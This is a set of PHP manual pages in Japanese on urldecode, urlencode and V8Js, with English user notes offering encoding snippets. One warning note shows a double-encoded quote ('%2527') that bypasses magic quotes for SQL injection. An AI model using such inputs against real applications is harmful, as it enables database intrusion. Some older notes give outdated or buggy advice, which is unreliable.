foo.php?myvar=%C2%BA (The "right" url encoding)

in this scenary, you assign the value into variable $x

<?php
$x = $_GET['myvar'];
?>

$x store: in the first case "?" (bad) and in the second case "o" (good)

To fix that, you can use this function:

<?php
function to_utf8( $string ) {
// From http://w3.org/International/questions/qa-forms-utf-8.html
    if ( preg_match('%^(?:
      [\x09\x0A\x0D\x20-\x7E]            # ASCII
    | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
    | \xE0[\xA0-\xBF][\x80-\xBF]         # excluding overlongs
    | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
    | \xED[\x80-\x9F][\x80-\xBF]         # excluding surrogates
    | \xF0[\x90-\xBF][\x80-\xBF]{2}      # planes 1-3
    | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
    | \xF4[\x80-\x8F][\x80-\xBF]{2}      # plane 16
)*$%xs', $string) ) {
        return $string;
    } else {
        return iconv( 'CP1252', 'UTF-8', $string);
    }
}
?>

and assign in this way:

<?php
$x = to_utf8( $_GET['myvar'] );
?>

$x store: in the first case "o" (good) and in the second case "o" (good)

Solve a lot of i18n problems.

Please fix the auto-urldecode of $_GET var in the next PHP version.

Bye.

Alejandro Salamanca
mail dot roliveira at gmail dot com 19-May-2009 04:50
Send json to PHP via AJAX (POST)

If you send json data via ajax, and encode it with encodeURIComponent in javascript, then on PHP side, you will have to do stripslashes on your $_POST['myVar'].

After this, you can do json_decode on your string.

Ex.:

<?php
// first use encodeURIComponent on javascript to encode the string
// receive json string and prepare it to json_decode
$jsonStr = stripslashes ($_POST['action']);
// decode to php object
$json = json_decode ($jsonStr);

// $json is now a php object
?>
Jan Vratny 12-Jun-2008 05:09
mkaganer at gmail dot com:

try using encodeURI() instead of encode() in javascript. That worked for me, while your solution did not on __some__ national characters (at least in IE6).
Joe 03-Apr-2008 11:11
It's worth pointing out that if you are using AJAX and need to encode strings that are being sent to a PHP application, you may not need to decode them in PHP.

<?php
echo stripslashes(nl2br($_POST['message']));
?>

Will properly output a message sent with the javascript code if the message is encoded:

message = encodeURIComponent(message)

And is sent with an AJAX POST request with the header:
ajaxVar.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
mkaganer at gmail dot com 04-Dec-2007 02:58
B.H.

I had troubles converting Unicode-encoded data in $_GET (like this: %u05D8%u05D1%u05E2) which is generated by JavaScript's escape() function to UTF8 for server-side processing.

Finally, i've found a simple solution (only 3 lines of code) that does it (at least in my configuration):

<?php
  function utf8_urldecode($str) {
    $str = preg_replace("/%u([0-9a-f]{3,4})/i","&#x\\1;",urldecode($str));
    return html_entity_decode($str,null,'UTF-8');;
  }
?>

note that documentation for html_entity_decode() states that "Support for multi-byte character sets was added at PHP 5.0.0" so this might not work for PHP 4
Visual 18-May-2006 12:02
If you are escaping strings in javascript and want to decode them in PHP with urldecode (or want PHP to decode them automatically when you're putting them in the query string or post request), you should use the javascript function encodeURIComponent() instead of escape(). Then you won't need any of the fancy custom utf_urldecode functions from the previous comments.
rosty dot kerei at gmail dot com 19-Apr-2006 09:40
This function doesn't decode unicode characters. I wrote a function that does.

function unicode_urldecode($url)
{
    preg_match_all('/%u([[:alnum:]]{4})/', $url, $a);

    foreach ($a[1] as $uniord)
    {
        $dec = hexdec($uniord);
        $utf = '';

        if ($dec < 128)
        {
            $utf = chr($dec);
        }
        else if ($dec < 2048)
        {
            $utf = chr(192 + (($dec - ($dec % 64)) / 64));
            $utf .= chr(128 + ($dec % 64));
        }
        else
        {
            $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
            $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
            $utf .= chr(128 + ($dec % 64));
        }

        $url = str_replace('%u'.$uniord, $utf, $url);
    }

    return urldecode($url);
}
spam at soiland dot no 05-Apr-2005 05:45
About reg_var and "html reserved words"

Do not add spaces as the user suggests.

Instead, do what all HTML standards says and encode & in URLs as &amp; in your HTML.

The reason why & works "most of the time" is that browsers are forgiving and just decode the & as the &-sign. This breaks whenever you have a variable that matches an HTML entity, like "gt" or "copy" or whatever. &copy in your URL will be interpreted as &copy;  (the ; is not mandatory in SGML as it is "implied". In XML it is mandatory.).   The result will be the same as if you had inserted the actual character into your source code, for instance by pressing alt-0169 and actually inserted ? in your HTML.

Ie, use:

<a href="?name=stain&amp;fish=knott">mylink</a>

Note that the decoding of &amp; to & is done in the browser, and it's done right after splitting the HTML into tags, attributes and content, but it works both for attributes and content.

This mean you should &entitify all &-s in any other HTML attributes as well, such as in a form with
<input name="fish" value="fish &amp; fries" />.
Matt Johnson 25-Dec-2004 04:49
A reminder: if you are considering using urldecode() on a $_GET variable, DON'T!

Evil PHP:

<?php
# BAD CODE! DO NOT USE!
$term = urldecode($_GET['sterm']);
?>

Good PHP:

<?php
$term = $_GET['sterm'];
?>

The webserver will arrange for $_GET to have been urldecoded once already by the time it reaches you!

Using urldecode() on $_GET can lead to extreme badness, PARTICULARLY when you are assuming "magic quotes" on GET is protecting you against quoting.

Hint: script.php?sterm=%2527 [...]

PHP "receives" this as %27, which your urldecode() will convert to "'" (the singlequote). This may be CATASTROPHIC when injecting into SQL or some PHP functions relying on escaped quotes -- magic quotes rightly cannot detect this and will not protect you!

This "common error" is one of the underlying causes of the Santy.A worm which affects phpBB < 2.0.11.
caribe at flash-brasil dot com dot br 13-Oct-2003 01:55
To allow urldecode to work with Brazilian characters as ? ? ? and other just place this header command :

header('Content-type: text/html; CHARSET=shift-jis');
09-Oct-2003 08:17
nataniel, your function needs to be corrected as follows:

------------------------------------------------------------
function unicode_decode($txt) {
  return ereg_replace('%u([[:alnum:]]{4})', '&#x\1;',$txt);
}
------------------------------------------------------------

since some codes does not begin with %u0.
tomas at penajaca dot com dot br 20-Jul-2003 11:14
urldecode does not decode "%0"  bypassing it. I can cause troble when you are working with fixed lenght strings.

You can you the function below.

function my_urldecode($string){

  $array = split ("%",$string);

  if (is_array($array)){
    while (list ($k,$v) = each ($array)){
       $ascii = base_convert ($v,16,10);
       $ret .= chr ($ascii);
    }
 }
 return ("$ret");
}
regindk at hotmail dot com 23-Apr-2003 06:00
About: bellani at upgrade4 dot it
$str = "pippo.php?param1=&reg_var";
echo rawurldecode($str);
Gives:
pippo.php?param1=?_var
Instead of using a space you should exchange & with the correct W3C &amp;
Like this:
$str = "pippo.php?param1=&amp;reg_var";
echo rawurldecode($str);
bellani at upgrade4 dot it 11-Mar-2003 10:12
If you have a "html reserved word" as variable name (i.e. "reg_var") and you pass it as an argument you will get  a wrong url. i.e.

<a href="pippo.php?param1=&reg_var=">go</a>

you will get a wrong url like this

"pippo.php?param1=?_var"

Simply add a space between "&" and "reg_var" and it will work!

<a href="pippo.php?param1=& reg_var=">go</a>

"pippo.php?param1=&%20reg_var"

Works!!
smolniy at mtu dot ru 07-Feb-2003 02:42
For compatibility of new and old brousers:

%xx -> char
%u0xxxx -> char

function unicode_decode($txt) {
 $txt = ereg_replace('%u0([[:alnum:]]{3})', '&#x\1;',$txt);
 $txt = ereg_replace('%([[:alnum:]]{2})', '&#x\1;',$txt);
 return ($txt);
}
igjav at cesga dot es 16-May-2002 11:48
This seems to decode correctly between most browsers and charater coding configurations. Specially indicated for direct parsing of URL as it comes on environment variables:

function crossUrlDecode($source) {
    $decodedStr = '';
    $pos = 0;
    $len = strlen($source);

    while ($pos < $len) {
        $charAt = substr ($source, $pos, 1);
        if ($charAt == '?') {
            $char2 = substr($source, $pos, 2);
            $decodedStr .= htmlentities(utf8_decode($char2),ENT_QUOTES,'ISO-8859-1');
            $pos += 2;
        }
        elseif(ord($charAt) > 127) {
            $decodedStr .= "&#".ord($charAt).";";
            $pos++;
        }
        elseif($charAt == '%') {
            $pos++;
            $hex2 = substr($source, $pos, 2);
            $dechex = chr(hexdec($hex2));
            if($dechex == '?') {
                $pos += 2;
                if(substr($source, $pos, 1) == '%') {
                    $pos++;
                    $char2a = chr(hexdec(substr($source, $pos, 2)));
                    $decodedStr .= htmlentities(utf8_decode($dechex . $char2a),ENT_QUOTES,'ISO-8859-1');
                }
                else {
                    $decodedStr .= htmlentities(utf8_decode($dechex));
                }
            }
            else {
                $decodedStr .= $dechex;
            }
            $pos += 2;
        }
        else {
            $decodedStr .= $charAt;
            $pos++;
        }
    }

    return $decodedStr;
}


文字列を URL エンコードする

  • ≪ urldecode
  • V8js ≫
  • PHP Manual
  • URL 関数
  • 文字列を URL エンコードする

urlencode

(PHP 4, PHP 5, PHP 7, PHP 8)

urlencode — 文字列を URL エンコードする

説明

urlencode ( string $string ) : string

この関数は、URL の問い合わせ部分に使用する文字列のエンコードや 次のページへ変数を渡す際に便利です。

パラメータ

string

エンコードする文字列。

返り値

-_. を除くすべての非英数文字が % 記号 (%)に続く二桁の16進数で置き換えられ、 空白は + 記号(+)にエンコードされます。 同様の方法で、WWW のフォームからポストされたデータはエンコードされ、 application/x-www-form-urlencoded メディア型も同様です。歴史的な理由により、この関数は » RFC 3986 エンコード( rawurlencode() を参照してください) とは異なり、 空白を + 記号にエンコードします。

例

例1 urlencode() の例

<?php
echo '<a href="mycgi?foo=', urlencode($userinput), '">';
?>

例2 urlencode() および htmlentities() の例

<?php
$query_string = 'foo=' . urlencode($foo) . '&bar=' . urlencode($bar);
echo '<a href="mycgi?' . htmlentities($query_string) . '">';
?>

注意

注意:

HTML エンティティにマッチする変数については注意が必要です。 &amp、&copy、&pound のようなものがブラウザから送信された 場合、エンティティの実体がその変数名の代わりに使用されます。 これは明らかな問題点であり、W3C が何年も指摘し続けてきたことです。 リファレンスは、» http://www.w3.org/TR/html4/appendix/notes.html#h-B.2.2 にあります。

PHP では、 .ini ディレクティブの arg_separator により引数のセパレータを W3C が推奨するセミコロンに変更することが可能です。残念なことに、多くの ユーザーエージントはこのセミコロン区切り形式でデータを送信しません。 よりポータブルな方法としては、セパレータに & の代わりに &amp; を使用するというものがあります。この場合、PHP の arg_separator を変更する必要はありません。セパレータを & のままにし、htmlentities() あるいは htmlspecialchars() で URL をエンコードしてください。

参考

  • urldecode() - URL エンコードされた文字列をデコードする
  • htmlentities() - 適用可能な文字を全て HTML エンティティに変換する
  • rawurlencode() - RFC 3986 に基づき URL エンコードを行う
  • rawurldecode() - URL エンコードされた文字列をデコードする
  • » RFC 3986

User Contributed Notes

lekiagospel@gmail dot com 18-Nov-2020 04:22
urlencode is useful when using certain URL shortener services.

The returned URL from the shortener may be truncated if not encoded. Ensure the URL is encoded before passing it to a shortener.

Example

$url = "https://www.notarealurl.com?id=50&name=namestring";
$encodedurl = urlencode($url);
$shorturl = UrlShortener::shortenUrl( $encodedurl);
no_gravity 16-Jan-2020 12:00
I think the description does not exactly match what the function does:

    Returns a string in which all non-alphanumeric characters
    except -_. have been replaced with a percent (%) sign followed
    by two hex digits and spaces encoded as plus (+) signs.

urlencode('o') gives me '%C3%B6'. So more then just a percent sign followed by two hex digits.
admin at server dot net 20-Sep-2019 06:12
urlencode corresponds to the definition for application/x-www-form-urlencoded in RFC 1866 (https://tools.ietf.org/html/rfc1866#section-8.2.1), and not for url encoded parts in URI. Use only rawurlencode for encode raw URI parts (e.g. query/search part)!
youhanasobhy15 at gmail dot com 26-Feb-2018 10:22
Keep in mind that, if you prepare URL for a connection and used the urlencode on some parameters and didn't use it on the rest of parameters, it will not be decoded automatically at the destination position if the not encoded parameters have special characters that urlencode encodes it.

example :

$xml = simplexml_load_file("http://www.testing.com?me=test&first=".urlencode('dummy string')."&second=here is the string");

here is the second parameter has spaces which urlencode converts it to (+).

after using this URL, the server will discover that the second parameter has not been encoded , then the server will not decode it automatically.

this took more than 2 hours to be discovered and hope to save your time.
david winiecki gmail 10-Dec-2014 06:52
Since PHP 5.3.0, urlencode and rawurlencode also differ in that rawurlencode does not encode ~ (tilde), while urlencode does.
nehuensd at gmail dot com 03-Jun-2014 02:31
if you have a url like this: test-blablabla-4>3-y-3<6 or with any excluded US-ASCII Characters (see chapter 2.4.3 on http://www.ietf.org/rfc/rfc2396.txt) you can use urlencode two times for fix the 403 error.

Example:
.htaccess
Options +FollowSymLinks
RewriteEngine on
RewriteRule ^test-(.*)$ index.php?token=$1

index.php
<?php
    var_dump($_GET);

    $foo = 'test-bla-bla-4>2-y-3<6';
    $foo_encoded = urlencode(urlencode($foo));
?>
<a href="<?=$foo_encoded;?>"><?=$foo_encoded;?></a>

look on index.php
array (size=0)
  empty
test-bla-bla-4%253E2-y-3%253C6

look on test-bla-bla-4%253E2-y-3%253C6
array (size=1)
  'token' => string 'bla-bla-4>2-y-3<6' (length=17)
test-bla-bla-4%253E2-y-3%253C6

the problem is that the characters are decoded 2 times, 1 single, the first time mod_rewrite, the second is to create the php $ _GET array.

also, you can use this technique to the same as the complex functions of other notes.
izhankhalib at gmail dot com 06-Nov-2013 07:33
Below is our jsonform source code in  mongo db which consists a lot of double quotes. we are able to pass this source code to the ajax form submit function by using php urlencode :

<script type="text/javascript">
$(function() {
      // Generate a form using jquery.dfrom
        $("#myform").dform({

        "html":[
            {
                "type":"p",
                "html":"Patient Record"
            },
            {
                "name":"patient.name.first",
                "id":"txt-patient.name.first",
                "caption":"first name",
                "type":"text",
            },
            {

                "name":"patient.name.last",
                "id":"txt-patient.name.last",
                "caption":"last name",
                "type":"text",
            },
            {
               "type" : "submit",
              }

        ]
    });
    });
</script>
<form id="myform">

<?php
//get the json source code from the mongodb
$jsonform= urlencode($this->data['Post']['jsonform']);

?>
//AJAX SUBMIT FORM
<script type="text/javascript">
$('#myform').submit(function(){

    //    passing the variable fro PHP to javascript
        var thejsonform="<?php echo $jsonform ?>";

  //var fname = $('input#fname').val();
  var dataString = "jsonform=" + thejsonform ;

    $.ajax({
          type: "POST",
        //  url: "test1.php",
          data: dataString,
          success: function() {

          }
         });

return false;
});
homebot at yandex dot ru 31-Jul-2013 03:44
Simple static class for array URL encoding

[code]

<?php

/**
*
*  URL Encoding class
*  Use : urlencode_array::go() as function
*
*/
class urlencode_array
{

  /** Main encoding worker
  * @param string $perfix
  * @param array $array
  * @param string $ret byref Push record to return array
  * @param mixed $fe Is first call to function?
  */
  private static function encode_part($perfix, $array, &$ret, $fe = false)
  {
    foreach ( $array as $k => $v )
    {
      switch ( gettype($v))
      {
        case 'float'   :
        case 'integer' :
        case 'string'  : $ret [ $fe ? $k : $perfix.'['.$k.']' ] = $v; break;
        case 'boolean' : $ret [ $fe ? $k : $perfix.'['.$k.']' ] = ( $v ? '1' : '0' ); break;
        case 'null'    : $ret [ $fe ? $k : $perfix.'['.$k.']' ] = 'NULL'; break;
        case 'object'  : $v = (array) $v;
        case 'array'   : self::encode_part( $fe?$perfix.$k:$perfix.'['.$k.']' , $v, $ret, false); break;
      }
    }
  }

  /** UrlEncode Array
  * @param mixed $array Array or stdClass to encode
  * @returns string Strings ready for send as 'application/x-www-form-urlencoded'
  */
  public static function go($array)
  {
    $buff = array();
    if ( gettype($array) == 'object') $array = (array) $array;
    self::encode_part('', $array, $buff, true);
    $retn = '';
    foreach ( $buff as $k => $v )
      $retn .= urlencode($k) . '=' . urlencode($v) . '&';
    return $retn;
  }
}

#-------------------------------- TEST AREA ------------------------------------

$buffer = array(
  'master'  =>'master.zenith.lv',
  'join'    =>array('slave'=>'slave1.zenith.lv','slave2'=>array('node1.slave2.zenith.lv','slave2.zenith.lv')),
  'config'  => new stdClass()
);
$buffer['config']->MaxServerLoad  = 200;
$buffer['config']->MaxSlaveLoad   = 100;
$buffer['config']->DropUserNoWait = true;

$buffer = urlencode_array::go($buffer);
parse_str( $buffer , $data_decoded);

header('Content-Type: text/plain; CHARSET=shift-jis');
echo 'Encoded String :' . str_repeat('-', 80) . "\n";
echo $buffer;
echo str_repeat("\n", 3) . 'Decoded String byPhp :' . str_repeat('-', 80) . "\n";
print_r($data_decoded);

[/code]
davis dot peixoto at gmail dot com 18-May-2010 06:53
urlencode function and rawurlencode are mostly based on RFC 1738.

However, since 2005 the current RFC in use for URIs standard is RFC 3986.

Here is a function to encode URLs according to RFC 3986.

<?php
function myUrlEncode($string) {
    $entities = array('%21', '%2A', '%27', '%28', '%29', '%3B', '%3A', '%40', '%26', '%3D', '%2B', '%24', '%2C', '%2F', '%3F', '%25', '%23', '%5B', '%5D');
    $replacements = array('!', '*', "'", "(", ")", ";", ":", "@", "&", "=", "+", "$", ",", "/", "?", "%", "#", "[", "]");
    return str_replace($entities, $replacements, urlencode($string));
}
?>
frx dot apps at gmail dot com 07-Apr-2010 08:48
I wrote this simple function that creates a GET query (for URLS) from an array:

<?php
function encode_array($args)
{
  if(!is_array($args)) return false;
  $c = 0;
  $out = '';
  foreach($args as $name => $value)
  {
    if($c++ != 0) $out .= '&';
    $out .= urlencode("$name").'=';
    if(is_array($value))
    {
      $out .= urlencode(serialize($value));
    }else{
      $out .= urlencode("$value");
    }
  }
  return $out . "\n";
}
?>

If there are arrays within the $args array, they will be serialized before being urlencoded.

Some examples:
<?php
echo encode_array(array('foo' => 'bar'));                    // foo=bar
echo encode_array(array('foo&bar' => 'some=weird/value'));   // foo%26bar=some%3Dweird%2Fvalue
echo encode_array(array('foo' => 1, 'bar' =>  'two'));       // foo=1&bar=two
echo encode_array(array('args' => array('key' => 'value'))); // args=a%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A5%3A%22value%22%3B%7D
?>
omid at omidsakhi dot com 24-Feb-2010 11:17
I needed a function in PHP to do the same job as the complete escape function in Javascript. It took me some time not to find it. But findaly I decided to write my own code. So just to save time:

<?php
function fullescape($in)
{
  $out = '';
  for ($i=0;$i<strlen($in);$i++)
  {
    $hex = dechex(ord($in[$i]));
    if ($hex=='')
       $out = $out.urlencode($in[$i]);
    else
       $out = $out .'%'.((strlen($hex)==1) ? ('0'.strtoupper($hex)):(strtoupper($hex)));
  }
  $out = str_replace('+','%20',$out);
  $out = str_replace('_','%5F',$out);
  $out = str_replace('.','%2E',$out);
  $out = str_replace('-','%2D',$out);
  return $out;
 }
?>

It can be fully decoded using the unscape function in Javascript.
temu92 at gmail dot com 23-Jul-2009 10:44
I needed encoding and decoding for UTF8 urls, I came up with these very simple fuctions. Hope this helps!

<?php
    function url_encode($string){
        return urlencode(utf8_encode($string));
    }

    function url_decode($string){
        return utf8_decode(urldecode($string));
    }
?>
daniel+php at danielnorton dot com 29-Jun-2009 07:24
Don't use urlencode() or urldecode() if the text includes an email address, as it destroys the "+" character, a perfectly valid email address character.

Unless you're certain that you won't be encoding email addresses AND you need the readability provided by the non-standard "+" usage, instead always use use rawurlencode() or rawurldecode().
Mark Seecof 23-Sep-2008 04:34
When using XMLHttpRequest or another AJAX technique to submit data to a PHP script using GET (or POST with content-type header set to 'x-www-form-urlencoded') you must urlencode your data before you upload it.  (In fact, if you don't urlencode POST data MS Internet Explorer may pop a "syntax error" dialog when you call XMLHttpRequest.send().)  But, you can't call PHP's urlencode() function in Javascript!  In fact, NO native Javascript function will urlencode data correctly for form submission.  So here is a function to do the job fairly efficiently:

<?php /******

<script type="text/javascript" language="javascript1.6">
 // PHP-compatible urlencode() for Javascript
 function urlencode(s) {
  s = encodeURIComponent(s);
  return s.replace(/~/g,'%7E').replace(/%20/g,'+');
 }

 // sample usage:  suppose form has text input fields for
 // country, postcode, and city with id='country' and so-on.
 // We'll use GET to send values of country and postcode
 // to "city_lookup.php" asynchronously, then update city
 // field in form with the reply (from database lookup)

 function lookup_city() {
  var elm_country = document.getElementById('country');
  var elm_zip = document.getElementById('postcode');
  var elm_city = document.getElementById('city');
  var qry = '?country=' + urlencode(elm_country.value) +
                '&postcode=' + urlencode(elm_zip.value);
  var xhr;
  try {
   xhr = new XMLHttpRequest(); // recent browsers
  } catch (e) {
   alert('No XMLHttpRequest!');
   return;
  }
  xhr.open('GET',('city_lookup.php'+qry),true);
  xhr.onreadystatechange = function(){
    if ((xhr.readyState != 4) || (xhr.status != 200)) return;
    elm_city.value = xhr.responseText;
  }
  xhr.send(null);
 }
</script>

******/ ?>
root at jusme dot org 12-Aug-2008 05:12
I'm running PHP version 5.0.5 and urlencode() doesn't seem to encode the "#" character, although the function's description says it encodes "all non-alphanumeric" characters. This was a particular problem for me when trying to open local files with a "#" in the filename as Firefox will interpret this as an anchor target (for better or worse). It seems a manual str_replace is required unless this was fixed in a future PHP version.

Example:

$str = str_replace("#", "%23", $str);
ahrensberg at gmail dot com 04-Aug-2007 05:04
Like "Benjamin dot Bruno at web dot de" earlier has writen, you can have problems with encode strings with special characters to flash. Benjamin write that:

<?php
   function flash_encode ($input)
   {
      return rawurlencode(utf8_encode($input));
   }
?>

... could do the problem. Unfortunately flash still have problems with read some quotations, but with this one:

<?php
   function flash_encode($string)
   {
      $string = rawurlencode(utf8_encode($string));

      $string = str_replace("%C2%96", "-", $string);
      $string = str_replace("%C2%91", "%27", $string);
      $string = str_replace("%C2%92", "%27", $string);
      $string = str_replace("%C2%82", "%27", $string);
      $string = str_replace("%C2%93", "%22", $string);
      $string = str_replace("%C2%94", "%22", $string);
      $string = str_replace("%C2%84", "%22", $string);
      $string = str_replace("%C2%8B", "%C2%AB", $string);
      $string = str_replace("%C2%9B", "%C2%BB", $string);

      return $string;
   }
?>

... should solve this problem.
in reply to "kL" 20-Feb-2007 01:23
kL's example is very bugged since it loops itself and the encode function is two-way.

Why do you replace all %27 through '  in the same string in that you replace all ' through %27?

Lets say I have a string: Hello %27World%27. It's a nice day.
I get: Hello Hello 'World'. It%27s a nice day.

With other words that solution is pretty useless.

Solution:
Just replace ' through %27 when encoding
Just replace %27 through ' when decoding. Or just use url_decode.
kL 06-Sep-2006 05:13
Apache's mod_rewrite and mod_proxy are unable to handle urlencoded URLs properly - http://issues.apache.org/bugzilla/show_bug.cgi?id=34602

If you need to use any of these modules and handle paths that contain %2F or %3A (and few other encoded special url characters), you'll have use a different encoding scheme.

My solution is to replace "%" with "'".
<?php
function urlencode($u)
{
    return str_replace(array("'",'%'),array('%27',"'"),urlencode($u));
}

function urldecode($u)
{
    return urldecode(strtr($u,"'",'%'));
}
?>
torecs at sfe dot uio dot no 10-Jan-2006 03:30
This very simple function makes an valid parameters part of an URL, to me it looks like several of the other versions here are decoding wrongly as they do not convert & seperating the variables into &amp;.

  $vars=array('name' => 'tore','action' => 'sell&buy');
  echo MakeRequestUrl($vars);

  /* Makes an valid html request url by parsing the params array
   * @param $params The parameters to be converted into URL with key as name.
   */
  function MakeRequestUrl($params)
  {
      $querystring=null;
    foreach ($params as $name => $value)
    {
      $querystring=$name.'='.urlencode($value).'&'.$querystring;
    }
      // Cut the last '&'
      $querystring=substr($querystring,0,strlen($querystring)-1);
      return htmlentities($querystring);
  }

  Will output: action=sell%26buy&amp;name=tore
bisqwit at iki dot fi 02-Sep-2005 01:27
Constructing hyperlinks safely HOW-TO:

<?php
$path_component = 'machine/generated/part';
$url_parameter1 = 'this is a string';
$url_parameter2 = 'special/weird "$characters"';

$url = 'http://example.com/lab/cgi/test/'. rawurlencode($path_component) . '?param1=' . urlencode($url_parameter1) . '&param2=' . urlencode($url_parameter2);

$link_label = "Click here & you'll be <happy>";

echo '<a href="', htmlspecialchars($url), '">', htmlspecialchars($link_label), '</a>';
?>

This example covers all the encodings you need to apply in order to create URLs safely without problems with any special characters. It is stunning how many people make mistakes with this.

Shortly:
- Use urlencode for all GET parameters (things that come after each "=").
- Use rawurlencode for parts that come before "?".
- Use htmlspecialchars for HTML tag parameters and HTML text content.
R Mortimer 26-Aug-2005 01:14
Do not let the browser auto encode an invalid URL. Not all browsers perform the same encodeing. Keep it cross browser do it server side.
edwardzyang at thewritingpot dot com 15-Apr-2005 01:48
I was testing my input sanitation with some strange character entities. Ones like ? and ? were passed correctly and were in their raw form when I passed them through without any filtering.

However, some weird things happen when dealing with characters like (these are HTML entities): &#8252; &#9616; &#9488;and &#920; have weird things going on.

If you try to pass one in Internet Explorer, IE will *disable* the submit button. Firefox, however, does something weirder: it will convert it to it's HTML entity. It will display properly, but only when you don't convert entities.

The point? Be careful with decorative characters.

PS: If you try copy/pasting one of these characters to a TXT file, it will translate to a ?.
neugey at cox dot net 17-Sep-2004 01:51
Be careful when encoding strings that came from simplexml in PHP 5.  If you try to urlencode a simplexml object, the script tanks.

I got around the problem by using a cast.

$newValue = urlencode( (string) $oldValue );
monty3 at hotmail dot com 09-Sep-2004 01:00
If you want to pass a url with parameters as a value IN a url AND through a javascript function, such as...

   <a href="javascript:openWin('page.php?url=index.php?id=4&pg=2');">

...pass the url value through the PHP urlencode() function twice, like this...

<?php

   $url = "index.php?id=4&pg=2";
   $url = urlencode(urlencode($url));

   echo "<a href=\"javascript:openWin('page.php?url=$url');\">";
?>

On the page being opened by the javascript function (page.php), you only need to urldecode() once, because when javascript 'touches' the url that passes through it, it decodes the url once itself. So, just decode it once more in your PHP script to fully undo the double-encoding...

<?php

   $url = urldecode($_GET['url']);
?>

If you don't do this, you'll find that the result url value in the target script is missing all the var=values following the ? question mark...

   index.php?id=4


V8 Javascript Engine 統合

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 例
  • V8Js — V8Js クラス
    • V8Js::__construct — 新しい V8Js オブジェクトを作成する
    • V8Js::executeString — 文字列を Javascript のコードとして実行する
    • V8Js::getExtensions — 登録された拡張の配列を返す
    • V8Js::getPendingException — キャッチされなかった Javascript 例外の中で未処理のものを返す
    • V8Js::registerExtension — V8Js で使う Javascript の拡張を登録する
  • V8JsException — V8JsException クラス
    • V8JsException::getJsFileName — getJsFileName
    • V8JsException::getJsLineNumber — getJsLineNumber
    • V8JsException::getJsSourceLine — getJsSourceLine
    • V8JsException::getJsTrace — getJsTrace

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールは、» V8 Javascript Engine を PHP に組み込みます。

User Contributed Notes

There are no user contributed notes for this page.


要件

PHP 5.3.3 以降、そして V8 のライブラリとヘッダを適切なパスにインストールしておかなければなりません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/v8js

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

V8js 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
v8js.max_disposed_contexts | 25 | PHP_INI_ALL |
v8js.flags |  | PHP_INI_ALL |

以下に設定ディレクティブに関する 簡単な説明を示します。

v8js.max_disposed_contexts int

V8 にコンテキストのガベージコレクションをさせるまでの制限を設定します。

v8js.flags string

V8 のコマンドラインフラグを設定します。利用できるフラグの一覧は、 コマンドラインで次のように --help を設定すれば取得できます。

$ php -r 'ini_set("v8js.flags", "--help"); new V8Js;' | less

注意:

実行時にこれらのフラグを有効にするには、V8Js オブジェクトのインスタンスを作成する前に ini_set() をコールしなければなりません!

User Contributed Notes

There are no user contributed notes for this page.


例

基本的な使用例

例1 基本的な Javascript の実行

<?php

$v8 = new V8Js();

/* basic.js */
$JS = <<< EOT
len = print('Hello' + ' ' + 'World!' + "\\n");
len;
EOT;

try {
  var_dump($v8->executeString($JS, 'basic.js'));
} catch (V8JsException $e) {
  var_dump($e);
}

?>

上の例の出力は以下となります。

Hello World!
int(13)

User Contributed Notes

There are no user contributed notes for this page.


V8Js クラス

(PECL v8js >= 0.1.0)

はじめに

これは V8Js 拡張モジュールのコアクラスです。 このクラスのインスタンスはそれぞれ個別のコンテキストを持ち、 その中ですべての JavaScript をコンパイルして実行します。

詳細は V8Js::__construct() を参照ください。

クラス概要

V8Js {
/* 定数 */
const string V8_VERSION ;
const int FLAG_NONE = 1 ;
const int FLAG_FORCE_ARRAY = 2 ;
/* メソッド */
public __construct ( string $object_name = "PHP" , array $variables = array() , array $extensions = array() , bool $report_uncaught_exceptions = true )
public executeString ( string $script , string $identifier = "V8Js::executeString()" , int $flags = V8Js::FLAG_NONE ) : mixed
public static getExtensions ( ) : array
public getPendingException ( ) : V8JsException
public static registerExtension ( string $extension_name , string $script , array $dependencies = array() , bool $auto_enable = false ) : bool
}

定義済み定数

V8Js::V8_VERSION

V8 Javascript Engine のバージョン。

V8Js::FLAG_NONE

何もフラグが立っていません。

V8Js::FLAG_FORCE_ARRAY

すべての JS オブジェクトを PHP の連想配列にします。

目次

  • V8Js::__construct — 新しい V8Js オブジェクトを作成する
  • V8Js::executeString — 文字列を Javascript のコードとして実行する
  • V8Js::getExtensions — 登録された拡張の配列を返す
  • V8Js::getPendingException — キャッチされなかった Javascript 例外の中で未処理のものを返す
  • V8Js::registerExtension — V8Js で使う Javascript の拡張を登録する

User Contributed Notes

stamster at gmail dot com 25-Jan-2017 03:28
Take note that just instantiating V8 class / binary .so will add at least 5ms to your app/script runtime.

Test from LAN (minimum network latency):

PHP 7.0.x w/o instantiating V8JS class: 1ms
PHP 7.0.x with V8JS object: 6-7ms

Running V8 engine v5.8.0

It's not a big deal, but comparing to PhalconPHP framework which adds almost 0 additional latency at runtime, V8JS adds 5-6 times more of latency/overhead.
Hoffmann dot P-no-sp at m-gmx dot net 13-Dec-2016 10:52
You can use function variables (jay!)

So the following works:

$add = function ($a, $b) {
    return $a + $b;
};
$v8 = new V8Js('PHP', array('add' => 'add'));
$result = $v8->executeString('PHP.add(1,2)');
var_dump($result);

yields indeed:
int(3)
mateusz dot charytoniuk at gmail dot com 18-Aug-2015 08:58
v8js can be also used to render server-side javascript components (see: React.js).
mateusz dot charytoniuk at gmail dot com 11-Jul-2013 09:41
This extension can be used to provide server-side and client-side form validation by executing the same JavaScript code at both places.


新しい V8Js オブジェクトを作成する

  • ≪ V8Js
  • V8Js::executeString ≫
  • PHP Manual
  • V8Js
  • 新しい V8Js オブジェクトを作成する

V8Js::__construct

